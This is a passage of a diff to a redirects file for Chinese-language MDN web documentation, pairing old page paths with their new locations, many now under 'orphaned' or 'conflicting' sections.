+/zh-CN/docs/MDN/Contribute/Howto/Create_an_MDN_account /zh-CN/docs/orphaned/MDN/Contribute/Howto/Create_an_MDN_account +/zh-CN/docs/MDN/Contribute/Howto/Do_a_technical_review /zh-CN/docs/orphaned/MDN/Contribute/Howto/Do_a_technical_review +/zh-CN/docs/MDN/Contribute/Howto/Do_an_editorial_review /zh-CN/docs/orphaned/MDN/Contribute/Howto/Do_an_editorial_review +/zh-CN/docs/MDN/Contribute/Howto/Set_the_summary_for_a_page /zh-CN/docs/orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page +/zh-CN/docs/MDN/Contribute/Howto/Tag_JavaScript_pages /zh-CN/docs/orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages +/zh-CN/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web /zh-CN/docs/orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web /zh-CN/docs/MDN/Contribute/Howto/创建及编辑页面 /zh-CN/docs/MDN/Contribute/Howto/Create_and_edit_pages +/zh-CN/docs/MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据 /zh-CN/docs/MDN/Contribute/Howto/Add_or_update_browser_compatibility_data +/zh-CN/docs/MDN/Contribute/Howto/学习_交互_在线_起步_开始 /zh-CN/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web +/zh-CN/docs/MDN/Contribute/Howto/成为一名测试版试验员 /zh-CN/docs/orphaned/MDN/Contribute/Howto/Be_a_beta_tester /zh-CN/docs/MDN/Contribute/Howto/标签 /zh-CN/docs/MDN/Contribute/Howto/Tag -/zh-CN/docs/MDN/Contribute/Howto/标记_JavaScript_页面 /zh-CN/docs/MDN/Contribute/Howto/Tag_JavaScript_pages +/zh-CN/docs/MDN/Contribute/Howto/标记_JavaScript_页面 /zh-CN/docs/orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages /zh-CN/docs/MDN/Contribute/Structures /zh-CN/docs/MDN/Structures /zh-CN/docs/MDN/Contribute/Structures/Live_samples /zh-CN/docs/MDN/Structures/Live_samples -/zh-CN/docs/MDN/Contribute/Structures/Live_samples/Simple_live_sample_demo /zh-CN/docs/MDN/Structures/Live_samples/Simple_live_sample_demo +/zh-CN/docs/MDN/Contribute/Structures/Live_samples/Simple_live_sample_demo /zh-CN/docs/orphaned/MDN/Structures/Live_samples/Simple_live_sample_demo /zh-CN/docs/MDN/Contribute/Structures/Macros /zh-CN/docs/MDN/Structures/Macros +/zh-CN/docs/MDN/Editor /zh-CN/docs/orphaned/MDN/Editor +/zh-CN/docs/MDN/Editor/Basics /zh-CN/docs/orphaned/MDN/Editor/Basics +/zh-CN/docs/MDN/Editor/Basics/Page_controls /zh-CN/docs/orphaned/MDN/Editor/Basics/Page_controls +/zh-CN/docs/MDN/Editor/Basics/Page_info /zh-CN/docs/orphaned/MDN/Editor/Basics/Page_info +/zh-CN/docs/MDN/Editor/Edit_box /zh-CN/docs/orphaned/MDN/Editor/Keyboard_shortcuts +/zh-CN/docs/MDN/Editor/Source_mode /zh-CN/docs/orphaned/MDN/Editor/Source_mode /zh-CN/docs/MDN/Feedback /zh-CN/docs/MDN/Contribute/Feedback /zh-CN/docs/MDN/Getting_started /zh-CN/docs/MDN/Contribute/Getting_started +/zh-CN/docs/MDN/Guidelines/Content_blocks /zh-CN/docs/conflicting/MDN/Guidelines/CSS_style_guide +/zh-CN/docs/MDN/Guidelines/Rules_Of_MDN_Documenting /zh-CN/docs/MDN/Guidelines/Does_this_belong_on_MDN +/zh-CN/docs/MDN/Guidelines/Style_guide /zh-CN/docs/MDN/Guidelines/Writing_style_guide /zh-CN/docs/MDN/JavaScript /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/create /zh-CN/docs/MDN/JavaScript/About_JavaScript /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/seal /zh-CN/docs/MDN/JavaScript/Community /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames @@ -1200,37 +1316,58 @@ /zh-CN/docs/MDN/JavaScript/Reference/About_this_Reference /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze /zh-CN/docs/MDN/JavaScript/Reference/Global_Objects /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen /zh-CN/docs/MDN/JavaScript/Reference/Global_Objects/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor +/zh-CN/docs/MDN/Kuma /zh-CN/docs/MDN/Yari +/zh-CN/docs/MDN/Structures/Live_samples/Simple_live_sample_demo /zh-CN/docs/orphaned/MDN/Structures/Live_samples/Simple_live_sample_demo +/zh-CN/docs/MDN/Structures/Macros/Custom_macros /zh-CN/docs/MDN/Structures/Macros/Commonly-used_macros /zh-CN/docs/MDN/User_guide/写作 /zh-CN/docs/MDN/User_guide/Writing +/zh-CN/docs/MDN_at_ten /zh-CN/docs/MDN/At_ten /zh-CN/docs/Media_Gallery /zh-CN/docs/Web/Guide/Events/Media_events +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus /zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/menus +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow /zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/devtools/inspectedWindow +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/tabs/查询 /zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/剪切板 /zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/clipboard +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData /zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/Packaging_and_installation /zh-CN/docs/orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/Porting_from_Google_Chrome /zh-CN/docs/orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension /zh-CN/docs/orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_ +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/Walkthrough /zh-CN/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension /zh-CN/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications /zh-CN/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/manifest.json/主页地址 /zh-CN/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/user_interface/侧边栏 /zh-CN/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars /zh-CN/docs/Mozilla/Add-ons/WebExtensions/匹配模板 /zh-CN/docs/Mozilla/Add-ons/WebExtensions/Match_patterns +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/实现一个设置页面 /zh-CN/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件 /zh-CN/docs/Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension +/zh-CN/docs/Mozilla/Add-ons/WebExtensions/用户界面元素 /zh-CN/docs/conflicting/Mozilla/Add-ons/WebExtensions/user_interface /zh-CN/docs/Mozilla/Developer_guide/Source_Code/通过CVS获取源码 /zh-CN/docs/Mozilla/Developer_guide/Source_Code/CVS /zh-CN/docs/Mozilla/Developer_guide/Source_Code/通过Mercurial获取源码 /zh-CN/docs/Mozilla/Developer_guide/Source_Code/LatestPassingSource +/zh-CN/docs/Mozilla/Mozilla_Persona /zh-CN/docs/orphaned/Mozilla/Mozilla_Persona /zh-CN/docs/Mozilla/附加组件 /zh-CN/docs/Mozilla/Add-ons /zh-CN/docs/Mozilla_Web开发人员_FAQ /zh-CN/docs/Mozilla_Web_Developer_FAQ /zh-CN/docs/Mozilla_event_reference /zh-CN/docs/Web/Events -/zh-CN/docs/Mozilla_event_reference/DOMContentLoaded_(event) /zh-CN/docs/Web/Events/DOMContentLoaded +/zh-CN/docs/Mozilla_event_reference/DOMContentLoaded_(event) /zh-CN/docs/Web/API/Window/DOMContentLoaded_event /zh-CN/docs/Mozilla_event_reference/DOMLinkAdded /zh-CN/docs/Web/Events/DOMLinkAdded /zh-CN/docs/Mozilla_event_reference/TabOpen /zh-CN/docs/Web/Events/TabOpen -/zh-CN/docs/Mozilla_event_reference/animationstart /zh-CN/docs/Web/Events/animationstart -/zh-CN/docs/Mozilla_event_reference/beforescriptexecute /zh-CN/docs/Web/Events/beforescriptexecute -/zh-CN/docs/Mozilla_event_reference/change /zh-CN/docs/Web/Events/change +/zh-CN/docs/Mozilla_event_reference/animationstart /zh-CN/docs/Web/API/HTMLElement/animationstart_event +/zh-CN/docs/Mozilla_event_reference/beforescriptexecute /zh-CN/docs/Web/API/Element/beforescriptexecute_event +/zh-CN/docs/Mozilla_event_reference/change /zh-CN/docs/Web/API/HTMLElement/change_event /zh-CN/docs/Mozilla_event_reference/hashchange /zh-CN/docs/Web/API/Window/hashchange_event -/zh-CN/docs/Mozilla_event_reference/input /zh-CN/docs/Web/Events/input +/zh-CN/docs/Mozilla_event_reference/input /zh-CN/docs/Web/API/HTMLElement/input_event /zh-CN/docs/Mozilla_event_reference/popstate /zh-CN/docs/Web/API/Window/popstate_event /zh-CN/docs/Mozilla_event_reference/touchend /zh-CN/docs/Web/API/Document/touchend_event /zh-CN/docs/Mozilla_event_reference/touchstart /zh-CN/docs/Web/API/Element/touchstart_event -/zh-CN/docs/Mozilla_event_reference/transitionend /zh-CN/docs/Web/Events/transitionend -/zh-CN/docs/Mozilla_event_reference/unload /zh-CN/docs/Web/Events/unload +/zh-CN/docs/Mozilla_event_reference/transitionend /zh-CN/docs/Web/API/HTMLElement/transitionend_event +/zh-CN/docs/Mozilla_event_reference/unload /zh-CN/docs/Web/API/Window/unload_event /zh-CN/docs/Mozilla_event_reference/visibilitychange /zh-CN/docs/Web/API/Document/visibilitychange_event /zh-CN/docs/New_in_JavaScript_1.5 /zh-CN/docs/Web/JavaScript/New_in_JavaScript/1.5 /zh-CN/docs/New_in_JavaScript_1.7 /zh-CN/docs/Web/JavaScript/New_in_JavaScript/1.7 /zh-CN/docs/Online_and_offline_events /zh-CN/docs/Web/API/NavigatorOnLine/Online_and_offline_events /zh-CN/docs/Other_JavaScript_tools /zh-CN/docs/Tools /zh-CN/docs/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents:Examples /zh-CN/docs/Properly_Using_CSS_and_JavaScript_in_XHTML_Documents/Examples +/zh-CN/docs/Python /zh-CN/docs/conflicting/Learn/Server-side/Django /zh-CN/docs/QA /zh-CN/docs/质量保证 +/zh-CN/docs/Quirks_Mode_and_Standards_Mode /zh-CN/docs/conflicting/Web/HTML/Quirks_Mode_and_Standards_Mode /zh-CN/docs/RDF /zh-CN/docs/Web/RDF -/zh-CN/docs/Rich-Text_Editing_in_Mozilla /zh-CN/docs/Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla +/zh-CN/docs/Rich-Text_Editing_in_Mozilla /zh-CN/docs/Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla /zh-CN/docs/SVG /zh-CN/docs/Web/SVG /zh-CN/docs/SVG-840092-dup /zh-CN/docs/Web/SVG /zh-CN/docs/SVG/Element /zh-CN/docs/Web/SVG/Element @@ -1245,36 +1382,89 @@ /zh-CN/docs/SVG/教程/引言 /zh-CN/docs/Web/SVG/Tutorial/Introduction /zh-CN/docs/SVG_In_HTML_Introduction /zh-CN/docs/Web/SVG/Tutorial/SVG_In_HTML_Introduction /zh-CN/docs/Same_origin_policy_for_JavaScript /zh-CN/docs/Web/Security/Same-origin_policy -/zh-CN/docs/Security/CSP /zh-CN/docs/Web/Security/CSP -/zh-CN/docs/Security/CSP/Introducing_Content_Security_Policy /zh-CN/docs/Web/Security/CSP/Introducing_Content_Security_Policy -/zh-CN/docs/Security/CSP/Using_CSP_violation_reports /zh-CN/docs/Web/Security/CSP/Using_CSP_violation_reports +/zh-CN/docs/Security/CSP /zh-CN/docs/conflicting/Web/HTTP/CSP +/zh-CN/docs/Security/CSP/Introducing_Content_Security_Policy /zh-CN/docs/conflicting/Web/HTTP/CSP_aeae68a149c6fbe64e541cbdcd6ed5c5 +/zh-CN/docs/Security/CSP/Using_CSP_violation_reports /zh-CN/docs/conflicting/Web/HTTP/CSP_9583294484b49ac391995b392c2b1ae1 /zh-CN/docs/Security/CSP/Using_Content_Security_Policy /zh-CN/docs/Web/HTTP/CSP -/zh-CN/docs/Security/HTTP_Strict_Transport_Security /zh-CN/docs/Web/HTTP/HTTP_Strict_Transport_Security -/zh-CN/docs/Tips_for_Authoring_Fast-loading_HTML_Pages /zh-CN/docs/Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages +/zh-CN/docs/Security/HTTP_Strict_Transport_Security /zh-CN/docs/Web/HTTP/Headers/Strict-Transport-Security +/zh-CN/docs/Server-sent_events /zh-CN/docs/Web/API/Server-sent_events +/zh-CN/docs/Server-sent_events/EventSource /zh-CN/docs/Web/API/EventSource +/zh-CN/docs/Server-sent_events/EventSource/EventSource /zh-CN/docs/Web/API/EventSource/EventSource +/zh-CN/docs/Server-sent_events/EventSource/close /zh-CN/docs/Web/API/EventSource/close +/zh-CN/docs/Server-sent_events/EventSource/onerror /zh-CN/docs/Web/API/EventSource/onerror +/zh-CN/docs/Server-sent_events/EventSource/onopen /zh-CN/docs/Web/API/EventSource/onopen +/zh-CN/docs/Server-sent_events/Using_server-sent_events /zh-CN/docs/Web/API/Server-sent_events/Using_server-sent_events +/zh-CN/docs/Site_Compatibility_for_Firefox_19 /zh-CN/docs/Mozilla/Firefox/Releases/19/Site_compatibility +/zh-CN/docs/Site_Compatibility_for_Firefox_21 /zh-CN/docs/Mozilla/Firefox/Releases/21/Site_compatibility +/zh-CN/docs/Site_Compatibility_for_Firefox_23 /zh-CN/docs/Mozilla/Firefox/Releases/23/Site_compatibility +/zh-CN/docs/Site_Compatibility_for_Firefox_24 /zh-CN/docs/Mozilla/Firefox/Releases/24/Site_compatibility +/zh-CN/docs/Specification_List /zh-CN/docs/orphaned/Web/Specification_list +/zh-CN/docs/Tips_for_Authoring_Fast-loading_HTML_Pages /zh-CN/docs/Learn/HTML/Howto/Author_fast-loading_HTML_pages /zh-CN/docs/Tools-840092-dup/Remote_Debugging /zh-CN/docs/Tools/Remote_Debugging /zh-CN/docs/Tools-840092-dup/Tools_Toolbox /zh-CN/docs/Tools/Tools_Toolbox -/zh-CN/docs/Tools-840092-dup/Using_the_Source_Editor /zh-CN/docs/Tools/Using_the_Source_Editor +/zh-CN/docs/Tools-840092-dup/Using_the_Source_Editor /zh-CN/docs/conflicting/tools/Keyboard_shortcuts +/zh-CN/docs/Tools/Add-ons /zh-CN/docs/orphaned/Tools/Add-ons /zh-CN/docs/Tools/Firebug迁移 /zh-CN/docs/Tools/Migrating_from_Firebug -/zh-CN/docs/Tools/响应式设计视图 /zh-CN/docs/Tools/Responsive_Design_View +/zh-CN/docs/Tools/Page_Inspector/3D_view /zh-CN/docs/Tools/3D_View +/zh-CN/docs/Tools/Page_Inspector/How_to/View_fonts /zh-CN/docs/Tools/Page_Inspector/How_to/Edit_fonts +/zh-CN/docs/Tools/Profiler /zh-CN/docs/conflicting/Tools/Performance +/zh-CN/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone /zh-CN/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE +/zh-CN/docs/Tools/Responsive_Design_View /zh-CN/docs/Tools/Responsive_Design_Mode +/zh-CN/docs/Tools/Using_the_Source_Editor /zh-CN/docs/conflicting/tools/Keyboard_shortcuts +/zh-CN/docs/Tools/Web音频编辑器 /zh-CN/docs/Tools/Web_Audio_Editor +/zh-CN/docs/Tools/不推荐的工具 /zh-CN/docs/Tools/Deprecated_tools +/zh-CN/docs/Tools/响应式设计视图 /zh-CN/docs/Tools/Responsive_Design_Mode +/zh-CN/docs/Tools/存储查看器 /zh-CN/docs/Tools/Storage_Inspector +/zh-CN/docs/Tools/小技巧 /zh-CN/docs/Tools/Tips /zh-CN/docs/Tools/性能 /zh-CN/docs/Tools/Performance /zh-CN/docs/Tools/标尺 /zh-CN/docs/Tools/Rulers /zh-CN/docs/Transforming_XML_with_XSLT /zh-CN/docs/Web/XSLT/Transforming_XML_with_XSLT -/zh-CN/docs/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces /zh-CN/docs/使用Javascript和DOM_Interfaces来处理HTML +/zh-CN/docs/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces /zh-CN/docs/Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +/zh-CN/docs/Understanding_Underlines /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals +/zh-CN/docs/Updating_extensions_for_Firefox_3 /zh-CN/docs/Mozilla/Firefox/Releases/3/Updating_extensions +/zh-CN/docs/Using_XPath /zh-CN/docs/conflicting/Web/XPath/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Using_files_from_web_applications /zh-CN/docs/Web/API/File/Using_files_from_web_applications /zh-CN/docs/Venkman入门 /zh-CN/docs/Venkman_Introduction /zh-CN/docs/Venkman精髓 /zh-CN/docs/Venkman_Internals +/zh-CN/docs/WOFF /zh-CN/docs/Web/Guide/WOFF /zh-CN/docs/Web-based_protocol_handlers /zh-CN/docs/Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers /zh-CN/docs/Web/API/APIWwindow.sidebar /zh-CN/docs/Web/API/Window/sidebar +/zh-CN/docs/Web/API/AmbientLightSensor/reading /zh-CN/docs/Web/API/AmbientLightSensor/illuminance +/zh-CN/docs/Web/API/AnalyserNode/fft /zh-CN/docs/orphaned/Web/API/AnalyserNode/fft /zh-CN/docs/Web/API/ArrayBuffer /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer /zh-CN/docs/Web/API/ArrayBufferView /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/TypedArray +/zh-CN/docs/Web/API/AudioContext/createAnalyser /zh-CN/docs/Web/API/BaseAudioContext/createAnalyser +/zh-CN/docs/Web/API/AudioContext/createBiquadFilter /zh-CN/docs/Web/API/BaseAudioContext/createBiquadFilter +/zh-CN/docs/Web/API/AudioContext/createBuffer /zh-CN/docs/Web/API/BaseAudioContext/createBuffer +/zh-CN/docs/Web/API/AudioContext/createBufferSource /zh-CN/docs/Web/API/BaseAudioContext/createBufferSource +/zh-CN/docs/Web/API/AudioContext/createChannelMerger /zh-CN/docs/Web/API/BaseAudioContext/createChannelMerger +/zh-CN/docs/Web/API/AudioContext/createChannelSplitter /zh-CN/docs/Web/API/BaseAudioContext/createChannelSplitter +/zh-CN/docs/Web/API/AudioContext/createConvolver /zh-CN/docs/Web/API/BaseAudioContext/createConvolver +/zh-CN/docs/Web/API/AudioContext/createDelay /zh-CN/docs/Web/API/BaseAudioContext/createDelay +/zh-CN/docs/Web/API/AudioContext/createScriptProcessor /zh-CN/docs/Web/API/BaseAudioContext/createScriptProcessor +/zh-CN/docs/Web/API/AudioContext/createWaveShaper /zh-CN/docs/Web/API/BaseAudioContext/createWaveShaper +/zh-CN/docs/Web/API/AudioContext/currentTime /zh-CN/docs/Web/API/BaseAudioContext/currentTime +/zh-CN/docs/Web/API/AudioContext/decodeAudioData /zh-CN/docs/Web/API/BaseAudioContext/decodeAudioData +/zh-CN/docs/Web/API/AudioContext/destination /zh-CN/docs/Web/API/BaseAudioContext/destination +/zh-CN/docs/Web/API/AudioContext/listener /zh-CN/docs/Web/API/BaseAudioContext/listener +/zh-CN/docs/Web/API/AudioContext/mozAudioChannelType /zh-CN/docs/orphaned/Web/API/AudioContext/mozAudioChannelType +/zh-CN/docs/Web/API/AudioContext/onstatechange /zh-CN/docs/Web/API/BaseAudioContext/onstatechange +/zh-CN/docs/Web/API/AudioContext/sampleRate /zh-CN/docs/Web/API/BaseAudioContext/sampleRate +/zh-CN/docs/Web/API/AudioContext/state /zh-CN/docs/Web/API/BaseAudioContext/state +/zh-CN/docs/Web/API/AudioNode/connect(AudioParam) /zh-CN/docs/orphaned/Web/API/AudioNode/connect(AudioParam) /zh-CN/docs/Web/API/Blob.size /zh-CN/docs/Web/API/Blob/size /zh-CN/docs/Web/API/Blob.slice /zh-CN/docs/Web/API/Blob/slice /zh-CN/docs/Web/API/Blob.type /zh-CN/docs/Web/API/Blob/type +/zh-CN/docs/Web/API/CSSMatrix /zh-CN/docs/conflicting/Web/API/DOMMatrix /zh-CN/docs/Web/API/CSSStyleSheet.insertRule /zh-CN/docs/Web/API/CSSStyleSheet/insertRule +/zh-CN/docs/Web/API/CSS分页规则 /zh-CN/docs/Web/API/CSSPageRule /zh-CN/docs/Web/API/CameraControl.getPreviewStream /zh-CN/docs/Web/API/CameraControl/getPreviewStream +/zh-CN/docs/Web/API/CanvasCaptureMediaStream /zh-CN/docs/Web/API/CanvasCaptureMediaStreamTrack /zh-CN/docs/Web/API/CanvasGradient.addColorStop /zh-CN/docs/Web/API/CanvasGradient/addColorStop /zh-CN/docs/Web/API/CanvasRenderingContext2D.createLinearGradient /zh-CN/docs/Web/API/CanvasRenderingContext2D/createLinearGradient /zh-CN/docs/Web/API/CanvasRenderingContext2D.createPattern /zh-CN/docs/Web/API/CanvasRenderingContext2D/createPattern +/zh-CN/docs/Web/API/Canvas_API/Drawing_graphics_with_canvas /zh-CN/docs/conflicting/Web/API/Canvas_API/Tutorial +/zh-CN/docs/Web/API/Channel_Messaging_API/使用_channel_messaging /zh-CN/docs/Web/API/Channel_Messaging_API/Using_channel_messaging /zh-CN/docs/Web/API/ChildNode.nextElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/nextElementSibling /zh-CN/docs/Web/API/ChildNode.remove /zh-CN/docs/Web/API/ChildNode/remove /zh-CN/docs/Web/API/Childnode.previousElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/previousElementSibling @@ -1282,15 +1472,29 @@ /zh-CN/docs/Web/API/Coordinates/latitude /zh-CN/docs/Web/API/GeolocationCoordinates/latitude /zh-CN/docs/Web/API/DOMImplementation.createHTMLDocument /zh-CN/docs/Web/API/DOMImplementation/createHTMLDocument /zh-CN/docs/Web/API/DOMImplementation.hasFeature /zh-CN/docs/Web/API/DOMImplementation/hasFeature +/zh-CN/docs/Web/API/DeviceAcceleration /zh-CN/docs/Web/API/DeviceMotionEventAcceleration +/zh-CN/docs/Web/API/DeviceLightEvent/Using_light_events /zh-CN/docs/Web/API/Ambient_Light_Events /zh-CN/docs/Web/API/Document.querySelectorAll /zh-CN/docs/Web/API/Document/querySelectorAll /zh-CN/docs/Web/API/Document.releaseCapture /zh-CN/docs/Web/API/Document/releaseCapture /zh-CN/docs/Web/API/Document/activeElement /en-US/docs/Web/API/DocumentOrShadowRoot/activeElement /zh-CN/docs/Web/API/Document/async /zh-CN/docs/Web/API/XMLDocument/async +/zh-CN/docs/Web/API/Document/cookie/Simple_document.cookie_framework /zh-CN/docs/orphaned/Web/API/Document/cookie/Simple_document.cookie_framework /zh-CN/docs/Web/API/Document/defaultView/popstate_event /zh-CN/docs/Web/API/Window/popstate_event /zh-CN/docs/Web/API/Document/defaultView/resize_event /zh-CN/docs/Web/API/Window/resize_event /zh-CN/docs/Web/API/Document/defaultView/storage_event /zh-CN/docs/Web/API/Window/storage_event /zh-CN/docs/Web/API/Document/domConfig /zh-CN/docs/Web/API/Document +/zh-CN/docs/Web/API/Document/elementFromPoint /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint +/zh-CN/docs/Web/API/Document/elementsFromPoint /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/elementsFromPoint +/zh-CN/docs/Web/API/Document/getSelection /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/getSelection +/zh-CN/docs/Web/API/Document/inputEncoding /zh-CN/docs/conflicting/Web/API/Document/characterSet +/zh-CN/docs/Web/API/Document/mozFullScreen /zh-CN/docs/Web/API/Document/fullscreen +/zh-CN/docs/Web/API/Document/mozFullScreenElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/fullscreenElement +/zh-CN/docs/Web/API/Document/mozFullScreenEnabled /zh-CN/docs/Web/API/Document/fullscreenEnabled /zh-CN/docs/Web/API/Document/onreadystatechange /en-US/docs/Web/API/Document/readystatechange_event +/zh-CN/docs/Web/API/Document/pointerLockElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/pointerLockElement +/zh-CN/docs/Web/API/Document/rouchmove_event /zh-CN/docs/Web/API/Document/touchmove_event +/zh-CN/docs/Web/API/Document/styleSheets /zh-CN/docs/conflicting/Web/API/DocumentOrShadowRoot/styleSheets +/zh-CN/docs/Web/API/Document_Object_Model/Preface /zh-CN/docs/conflicting/Web/API/Document_Object_Model /zh-CN/docs/Web/API/Element.classList /zh-CN/docs/Web/API/Element/classList /zh-CN/docs/Web/API/Element.className /zh-CN/docs/Web/API/Element/className /zh-CN/docs/Web/API/Element.clientLeft /zh-CN/docs/Web/API/Element/clientLeft @@ -1308,8 +1512,8 @@ /zh-CN/docs/Web/API/Element.innerHTML /zh-CN/docs/Web/API/Element/innerHTML /zh-CN/docs/Web/API/Element.insertAdjacentHTML /zh-CN/docs/Web/API/Element/insertAdjacentHTML /zh-CN/docs/Web/API/Element.matches /zh-CN/docs/Web/API/Element/matches -/zh-CN/docs/Web/API/Element.name /zh-CN/docs/Web/API/Element/name -/zh-CN/docs/Web/API/Element.onafterscriptexecute /zh-CN/docs/Web/API/Element/onafterscriptexecute +/zh-CN/docs/Web/API/Element.name /zh-CN/docs/conflicting/Web/API +/zh-CN/docs/Web/API/Element.onafterscriptexecute /zh-CN/docs/Web/API/Document/onafterscriptexecute /zh-CN/docs/Web/API/Element.onbeforescriptexecute /zh-CN/docs/Web/API/Document/onbeforescriptexecute /zh-CN/docs/Web/API/Element.oncopy /zh-CN/docs/Web/API/HTMLElement/oncopy /zh-CN/docs/Web/API/Element.oncut /zh-CN/docs/Web/API/HTMLElement/oncut @@ -1322,22 +1526,37 @@ /zh-CN/docs/Web/API/Element.setAttribute /zh-CN/docs/Web/API/Element/setAttribute /zh-CN/docs/Web/API/Element.setCapture /zh-CN/docs/Web/API/Element/setCapture /zh-CN/docs/Web/API/Element.tagName /zh-CN/docs/Web/API/Element/tagName +/zh-CN/docs/Web/API/Element/Activate_event /zh-CN/docs/Web/API/Element/DOMActivate_event +/zh-CN/docs/Web/API/Element/accessKey /zh-CN/docs/Web/API/HTMLElement/accessKey /zh-CN/docs/Web/API/Element/addEventListener /zh-CN/docs/Web/API/EventTarget/addEventListener +/zh-CN/docs/Web/API/Element/name /zh-CN/docs/conflicting/Web/API +/zh-CN/docs/Web/API/Element/onafterscriptexecute /zh-CN/docs/Web/API/Document/onafterscriptexecute /zh-CN/docs/Web/API/Element/onbeforescriptexecute /zh-CN/docs/Web/API/Document/onbeforescriptexecute /zh-CN/docs/Web/API/Element/oncopy /zh-CN/docs/Web/API/HTMLElement/oncopy /zh-CN/docs/Web/API/Element/oncut /zh-CN/docs/Web/API/HTMLElement/oncut +/zh-CN/docs/Web/API/Element/ongotpointercapture /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/ongotpointercapture /zh-CN/docs/Web/API/Element/onpaste /zh-CN/docs/Web/API/HTMLElement/onpaste /zh-CN/docs/Web/API/Element/removeAttributre /zh-CN/docs/Web/API/Element/removeAttribute +/zh-CN/docs/Web/API/Entity /zh-CN/docs/orphaned/Web/API/Entity /zh-CN/docs/Web/API/Event/CustomEvent /zh-CN/docs/Web/API/CustomEvent -/zh-CN/docs/Web/API/Event/altKey /zh-CN/docs/Web/API/event.altKey -/zh-CN/docs/Web/API/Event/button /zh-CN/docs/Web/API/event.button -/zh-CN/docs/Web/API/Event/cancelBubble /zh-CN/docs/Web/API/UIEvent/cancelBubble +/zh-CN/docs/Web/API/Event/altKey /zh-CN/docs/conflicting/Web/API/MouseEvent/altKey +/zh-CN/docs/Web/API/Event/button /zh-CN/docs/conflicting/Web/API/MouseEvent/button +/zh-CN/docs/Web/API/Event/createEvent /zh-CN/docs/conflicting/Web/API/Document/createEvent +/zh-CN/docs/Web/API/Event/deepPath /zh-CN/docs/conflicting/Web/API/Event/composedPath /zh-CN/docs/Web/API/Event/isChar /zh-CN/docs/Web/API/UIEvent/isChar /zh-CN/docs/Web/API/Event/pageY /zh-CN/docs/Web/API/UIEvent/pageY -/zh-CN/docs/Web/API/Event/relatedTarget /zh-CN/docs/Web/API/event.relatedTarget -/zh-CN/docs/Web/API/Event/shiftKey /zh-CN/docs/Web/API/event.shiftKey +/zh-CN/docs/Web/API/Event/relatedTarget /zh-CN/docs/conflicting/Web/API/MouseEvent/relatedTarget +/zh-CN/docs/Web/API/Event/shiftKey /zh-CN/docs/conflicting/Web/API/MouseEvent/shiftKey +/zh-CN/docs/Web/API/Event/禁用时间冒泡 /zh-CN/docs/Web/API/Event/cancelBubble /zh-CN/docs/Web/API/EventTarget.dispatchEvent /zh-CN/docs/Web/API/EventTarget/dispatchEvent /zh-CN/docs/Web/API/EventTarget.removeEventListener /zh-CN/docs/Web/API/EventTarget/removeEventListener +/zh-CN/docs/Web/API/EventTarget/attachEvent 